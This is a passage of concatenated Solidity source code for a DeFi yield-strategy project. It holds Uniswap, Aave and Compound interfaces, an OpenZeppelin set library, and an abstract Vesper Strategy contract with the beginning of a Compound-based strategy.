amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface AaveLendingPoolAddressesProvider { function getLendingPool() external view returns (address); function getAddress(bytes32 id) external view returns (address); } interface AToken is IERC20 { /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (address); function mint( address user, uint256 amount, uint256 index ) external returns (bool); function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external; } interface AaveIncentivesController { function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256); function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); } interface AaveLendingPool { function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address asset, uint256 amount, address to ) external returns (uint256); function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; function borrow( address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf ) external; function repay( address asset, uint256 amount, uint256 rateMode, address onBehalfOf ) external; } interface AaveProtocolDataProvider { function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ); } //solhint-disable func-name-mixedcase interface StakedAave is IERC20 { function claimRewards(address to, uint256 amount) external; function cooldown() external; function stake(address onBehalfOf, uint256 amount) external; function redeem(address to, uint256 amount) external; function getTotalRewardsBalance(address staker) external view returns (uint256); function stakersCooldowns(address staker) external view returns (uint256); function COOLDOWN_SECONDS() external view returns (uint256); function UNSTAKE_WINDOW() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /* solhint-disable func-name-mixedcase */ import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; interface ISwapManager { event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period); function N_DEX() external view returns (uint256); function ROUTERS(uint256 i) external view returns (IUniswapV2Router02); function bestOutputFixedInput( address _from, address _to, uint256 _amountIn ) external view returns ( address[] memory path, uint256 amountOut, uint256 rIdx ); function bestPathFixedInput( address _from, address _to, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function bestInputFixedOutput( address _from, address _to, uint256 _amountOut ) external view returns ( address[] memory path, uint256 amountIn, uint256 rIdx ); function bestPathFixedOutput( address _from, address _to, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function safeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function safeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function comparePathsFixedInput( address[] memory pathA, address[] memory pathB, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function comparePathsFixedOutput( address[] memory pathA, address[] memory pathB, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function ours(address a) external view returns (bool); function oracleCount() external view returns (uint256); function oracleAt(uint256 idx) external view returns (address); function getOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external view returns (address); function createOrUpdateOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external returns (address oracleAddr); function consultForFree( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external view returns (uint256 amountOut, uint256 lastUpdatedAt); /// get the data we want and pay the gas to update function consult( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external returns ( uint256 amountOut, uint256 lastUpdatedAt, bool updated ); function updateOracles() external returns (uint256 updated, uint256 expected); function updateOracles(address[] memory _oracleAddrs) external returns (uint256 updated, uint256 expected); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface CToken { function accrueInterest() external returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrow(uint256 borrowAmount) external returns (uint256); function mint() external payable; // For ETH function mint(uint256 mintAmount) external returns (uint256); // For ERC20 function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function repayBorrow() external payable; // For ETH function repayBorrow(uint256 repayAmount) external returns (uint256); // For ERC20 function transfer(address user, uint256 amount) external returns (bool); function getCash() external view returns (uint256); function transferFrom( address owner, address user, uint256 amount ) external returns (bool); function underlying() external view returns (address); } interface Comptroller { function claimComp(address holder, address[] memory) external; function enterMarkets(address[] memory cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); function compAccrued(address holder) external view returns (uint256); function getAccountLiquidity(address account) external view returns ( uint256, uint256, uint256 ); function markets(address market) external view returns ( bool isListed, uint256 collateralFactorMantissa, bool isCompted ); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface IComptroller { function cTokensByUnderlying(address) external view returns (address cToken); function rewardsDistributors(uint256 index) external view returns (address); function markets(address market) external view returns (bool isListed, uint256 collateralFactorMantissa); } interface IRariRewardDistributor { function rewardToken() external view returns (address); function compAccrued(address holder) external view returns (uint256); function claimRewards(address holder) external; function getAllMarkets() external view returns (address[] calldata); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface IFusePoolDirectory { function pools(uint256) external view returns ( string memory name, address creator, address comptroller, uint256 blockPosted, uint256 timestampPosted ); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; interface IStrategy { function rebalance() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function feeCollector() external view returns (address); function isReservedToken(address _token) external view returns (bool); function keepers() external view returns (address[] memory); function migrate(address _newStrategy) external; function token() external view returns (address); function totalValue() external view returns (uint256); function totalValueCurrent() external returns (uint256); function pool() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVesperPool is IERC20 { function calculateUniversalFee(uint256 _profit) external view returns (uint256 _fee); function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (address[] memory); function isKeeper(address _address) external view returns (bool); function maintainers() external view returns (address[] memory); function isMaintainer(address _address) external view returns (bool); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 interestFeeObsolete, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio, uint256 _externalDepositFee ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); // Function to get pricePerShare from V2 pools function getPricePerShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "../dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../interfaces/bloq/ISwapManager.sol"; import "../interfaces/vesper/IStrategy.sol"; import "../interfaces/vesper/IVesperPool.sol"; abstract contract Strategy is IStrategy, Context { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 internal constant MAX_UINT_VALUE = type(uint256).max; // solhint-disable-next-line var-name-mixedcase address internal WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IERC20 public immutable collateralToken; address public receiptToken; address public immutable override pool; address public override feeCollector; ISwapManager public swapManager; uint256 public oraclePeriod = 3600; // 1h uint256 public oracleRouterIdx = 0; // Uniswap V2 uint256 public swapSlippage = 10000; // 100% Don't use oracles by default EnumerableSet.AddressSet private _keepers; event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector); event UpdatedSwapManager(address indexed previousSwapManager, address indexed newSwapManager); event UpdatedSwapSlippage(uint256 oldSwapSlippage, uint256 newSwapSlippage); event UpdatedOracleConfig(uint256 oldPeriod, uint256 newPeriod, uint256 oldRouterIdx, uint256 newRouterIdx); constructor( address _pool, address _swapManager, address _receiptToken ) { require(_pool != address(0), "pool-address-is-zero"); require(_swapManager != address(0), "sm-address-is-zero"); swapManager = ISwapManager(_swapManager); pool = _pool; collateralToken = IVesperPool(_pool).token(); receiptToken = _receiptToken; require(_keepers.add(_msgSender()), "add-keeper-failed"); } modifier onlyGovernor() { require(_msgSender() == IVesperPool(pool).governor(), "caller-is-not-the-governor"); _; } modifier onlyKeeper() { require(_keepers.contains(_msgSender()), "caller-is-not-a-keeper"); _; } modifier onlyPool() { require(_msgSender() == pool, "caller-is-not-vesper-pool"); _; } /** * @notice Add given address in keepers list. * @param _keeperAddress keeper address to add. */ function addKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.add(_keeperAddress), "add-keeper-failed"); } /// @notice Return list of keepers function keepers() external view override returns (address[] memory) { return _keepers.values(); } /** * @notice Migrate all asset and vault ownership,if any, to new strategy * @dev _beforeMigration hook can be implemented in child strategy to do extra steps. * @param _newStrategy Address of new strategy */ function migrate(address _newStrategy) external virtual override onlyPool { require(_newStrategy != address(0), "new-strategy-address-is-zero"); require(IStrategy(_newStrategy).pool() == pool, "not-valid-new-strategy"); _beforeMigration(_newStrategy); IERC20(receiptToken).safeTransfer(_newStrategy, IERC20(receiptToken).balanceOf(address(this))); collateralToken.safeTransfer(_newStrategy, collateralToken.balanceOf(address(this))); } /** * @notice Remove given address from keepers list. * @param _keeperAddress keeper address to remove. */ function removeKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.remove(_keeperAddress), "remove-keeper-failed"); } /** * @notice Update fee collector * @param _feeCollector fee collector address */ function updateFeeCollector(address _feeCollector) external onlyGovernor { require(_feeCollector != address(0), "fee-collector-address-is-zero"); require(_feeCollector != feeCollector, "fee-collector-is-same"); emit UpdatedFeeCollector(feeCollector, _feeCollector); feeCollector = _feeCollector; } /** * @notice Update swap manager address * @param _swapManager swap manager address */ function updateSwapManager(address _swapManager) external onlyGovernor { require(_swapManager != address(0), "sm-address-is-zero"); require(_swapManager != address(swapManager), "sm-is-same"); emit UpdatedSwapManager(address(swapManager), _swapManager); swapManager = ISwapManager(_swapManager); } function updateSwapSlippage(uint256 _newSwapSlippage) external onlyGovernor { require(_newSwapSlippage <= 10000, "invalid-slippage-value"); emit UpdatedSwapSlippage(swapSlippage, _newSwapSlippage); swapSlippage = _newSwapSlippage; } function updateOracleConfig(uint256 _newPeriod, uint256 _newRouterIdx) external onlyGovernor { require(_newRouterIdx < swapManager.N_DEX(), "invalid-router-index"); if (_newPeriod == 0) _newPeriod = oraclePeriod; require(_newPeriod > 59, "invalid-oracle-period"); emit UpdatedOracleConfig(oraclePeriod, _newPeriod, oracleRouterIdx, _newRouterIdx); oraclePeriod = _newPeriod; oracleRouterIdx = _newRouterIdx; } /// @dev Approve all required tokens function approveToken() external onlyKeeper { _approveToken(0); _approveToken(MAX_UINT_VALUE); } function setupOracles() external onlyKeeper { _setupOracles(); } /** * @dev Withdraw collateral token from lending pool. * @param _amount Amount of collateral token */ function withdraw(uint256 _amount) external override onlyPool { _withdraw(_amount); } /** * @dev Rebalance profit, loss and investment of this strategy */ function rebalance() external virtual override onlyKeeper { (uint256 _profit, uint256 _loss, uint256 _payback) = _generateReport(); IVesperPool(pool).reportEarning(_profit, _loss, _payback); _reinvest(); } /** * @dev sweep given token to feeCollector of strategy * @param _fromToken token address to sweep */ function sweepERC20(address _fromToken) external override onlyKeeper { require(feeCollector != address(0), "fee-collector-not-set"); require(_fromToken != address(collateralToken), "not-allowed-to-sweep-collateral"); require(!isReservedToken(_fromToken), "not-allowed-to-sweep"); if (_fromToken == ETH) { Address.sendValue(payable(feeCollector), address(this).balance); } else { uint256 _amount = IERC20(_fromToken).balanceOf(address(this)); IERC20(_fromToken).safeTransfer(feeCollector, _amount); } } /// @notice Returns address of token correspond to collateral token function token() external view override returns (address) { return receiptToken; } /** * @notice Calculate total value of asset under management * @dev Report total value in collateral token */ function totalValue() public view virtual override returns (uint256 _value); /** * @notice Calculate total value of asset under management (in real-time) * @dev Report total value in collateral token */ function totalValueCurrent() external virtual override returns (uint256) { return totalValue(); } /// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep. function isReservedToken(address _token) public view virtual override returns (bool); /** * @notice some strategy may want to prepare before doing migration. Example In Maker old strategy want to give vault ownership to new strategy * @param _newStrategy . */ function _beforeMigration(address _newStrategy) internal virtual; /** * @notice Generate report for current profit and loss. Also liquidate asset to payback * excess debt, if any. * @return _profit Calculate any realized profit and convert it to collateral, if not already. * @return _loss Calculate any loss that strategy has made on investment. Convert into collateral token. * @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt. */ function _generateReport() internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _payback ) { uint256 _excessDebt = IVesperPool(pool).excessDebt(address(this)); uint256 _totalDebt = IVesperPool(pool).totalDebtOf(address(this)); _profit = _realizeProfit(_totalDebt); _loss = _realizeLoss(_totalDebt); _payback = _liquidate(_excessDebt); } function _calcAmtOutAfterSlippage(uint256 _amount, uint256 _slippage) internal pure returns (uint256) { return (_amount * (10000 - _slippage)) / (10000); } function _simpleOraclePath(address _from, address _to) internal view returns (address[] memory path) { if (_from == WETH || _to == WETH) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = WETH; path[2] = _to; } } function _consultOracle( address _from, address _to, uint256 _amt ) internal returns (uint256, bool) { for (uint256 i = 0; i < swapManager.N_DEX(); i++) { (bool _success, bytes memory _returnData) = address(swapManager).call( abi.encodePacked(swapManager.consult.selector, abi.encode(_from, _to, _amt, oraclePeriod, i)) ); if (_success) { (uint256 rate, uint256 lastUpdate, ) = abi.decode(_returnData, (uint256, uint256, bool)); if ((lastUpdate > (block.timestamp - oraclePeriod)) && (rate != 0)) return (rate, true); return (0, false); } } return (0, false); } function _getOracleRate(address[] memory path, uint256 _amountIn) internal returns (uint256 amountOut) { require(path.length > 1, "invalid-oracle-path"); amountOut = _amountIn; bool isValid; for (uint256 i = 0; i < path.length - 1; i++) { (amountOut, isValid) = _consultOracle(path[i], path[i + 1], amountOut); require(isValid, "invalid-oracle-rate"); } } /** * @notice Safe swap via Uniswap / Sushiswap (better rate of the two) * @dev There are many scenarios when token swap via Uniswap can fail, so this * method will wrap Uniswap call in a 'try catch' to make it fail safe. * however, this method will throw minAmountOut is not met * @param _from address of from token * @param _to address of to token * @param _amountIn Amount to be swapped * @param _minAmountOut minimum amount out */ function _safeSwap( address _from, address _to, uint256 _amountIn, uint256 _minAmountOut ) internal { (address[] memory path, uint256 amountOut, uint256 rIdx) = swapManager.bestOutputFixedInput(_from, _to, _amountIn); if (_minAmountOut == 0) _minAmountOut = 1; if (amountOut != 0) { swapManager.ROUTERS(rIdx).swapExactTokensForTokens( _amountIn, _minAmountOut, path, address(this), block.timestamp ); } } // These methods can be implemented by the inheriting strategy. /* solhint-disable no-empty-blocks */ function _claimRewardsAndConvertTo(address _toToken) internal virtual {} /** * @notice Set up any oracles that are needed for this strategy. */ function _setupOracles() internal virtual {} /* solhint-enable */ // These methods must be implemented by the inheriting strategy function _withdraw(uint256 _amount) internal virtual; function _approveToken(uint256 _amount) internal virtual; /** * @notice Withdraw collateral to payback excess debt in pool. * @param _excessDebt Excess debt of strategy in collateral token * @return _payback amount in collateral token. Usually it is equal to excess debt. */ function _liquidate(uint256 _excessDebt) internal virtual returns (uint256 _payback); /** * @notice Calculate earning and withdraw/convert it into collateral token. * @param _totalDebt Total collateral debt of this strategy * @return _profit Profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual returns (uint256 _profit); /** * @notice Calculate loss * @param _totalDebt Total collateral debt of this strategy * @return _loss Realized loss in collateral token */ function _realizeLoss(uint256 _totalDebt) internal virtual returns (uint256 _loss); /** * @notice Reinvest collateral. * @dev Once we file report back in pool, we might have some collateral in hand * which we want to reinvest aka deposit in lender/provider. */ function _reinvest() internal virtual; } // SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "../Strategy.sol"; import "../../interfaces/compound/ICompound.sol"; /// @title This strategy will deposit collateral token in Compound and earn interest. contract CompoundStrategy is Strategy { using SafeERC20 for IERC20; // solhint-disable-next-line var-name-mixedcase string public NAME; string public constant VERSION = "4.0.0"; CToken internal cToken; // solhint-disable-next-line var-name-mixedcase Comptroller public immutable COMPTROLLER; address public rewardToken; constructor( address _pool, address _swapManager, address _comptroller, address _rewardToken, address _receiptToken, string memory _name ) Strategy(_pool, _swapManager, _receiptToken) { require(_receiptToken != address(0), "cToken-address-is-zero"); cToken = CToken(_receiptToken); swapSlippage = 10000; // disable oracles on reward swaps by default NAME = _name; // Either can be address(0), for example in Rari Strategy COMPTROLLER = Comptroller(_comptroller); rewardToken = _rewardToken; } /** * @notice Calculate total value using COMP accrued and cToken * @dev Report total value in collateral token */ function totalValue() public view virtual override returns (uint256 _totalValue) { _totalValue = _calculateTotalValue((rewardToken != address(0)) ? _getRewardAccrued() : 0); } function totalValueCurrent() public virtual override returns (uint256 _totalValue) { if (rewardToken != address(0)) { _claimRewards(); _totalValue = _calculateTotalValue(IERC20(rewardToken).balanceOf(address(this))); } else { _totalValue = _calculateTotalValue(0); } } function _calculateTotalValue(uint256 _rewardAccrued) internal view returns (uint256 _totalValue) { if (_rewardAccrued != 0) { (, _totalValue) = swapManager.bestPathFixedInput(rewardToken, address(collateralToken), _rewardAccrued, 0); } _totalValue += _convertToCollateral(cToken.balanceOf(address(this))); } function isReservedToken(address _token) public view virtual override returns (bool) { return _token == address(cToken) || _token == rewardToken; } /// @notice Approve all required tokens function _approveToken(uint256 _amount) internal virtual override { collateralToken.safeApprove(pool, _amount); collateralToken.safeApprove(address(cToken), _amount); if (rewardToken != address(0)) { for (uint256 i = 0; i < swapManager.N_DEX(); i++) { IERC20(rewardToken).safeApprove(address(swapManager.ROUTERS(i)), _amount); } } } //solhint-disable-next-line no-empty-blocks function _beforeMigration(address _newStrategy) internal virtual override {} /// @notice Claim comp function _claimRewards() internal virtual { address[] memory _markets = new address[](1); _markets[0] = address(cToken); COMPTROLLER.claimComp(address(this), _markets); } function _getRewardAccrued() internal view virtual returns (uint256 _rewardAccrued) { _rewardAccrued = COMPTROLLER.compAccrued(address(this)); } /// @notice Claim COMP and convert COMP into collateral token. function _claimRewardsAndConvertTo(address _toToken) internal virtual override { if (rewardToken != address(0)) { _claimRewards(); uint256 _rewardAmount = IERC20(rewardToken).balanceOf(address(this)); if (_rewardAmount != 0) { uint256 minAmtOut = (swapSlippage != 10000) ? _calcAmtOutAfterSlippage( _getOracleRate(_simpleOraclePath(rewardToken, _toToken), _rewardAmount), swapSlippage ) : 1; _safeSwap(rewardToken, _toToken, _rewardAmount, minAmtOut); } } } /// @notice Withdraw collateral to payback excess debt function _liquidate(uint256 _excessDebt) internal override returns (uint256 _payback) { if (_excessDebt != 0) { _payback = _safeWithdraw(_excessDebt); } } /** * @notice Calculate earning and withdraw it from Compound. * @dev Claim COMP and convert into collateral * @dev If somehow we got some collateral token in strategy then we want to * 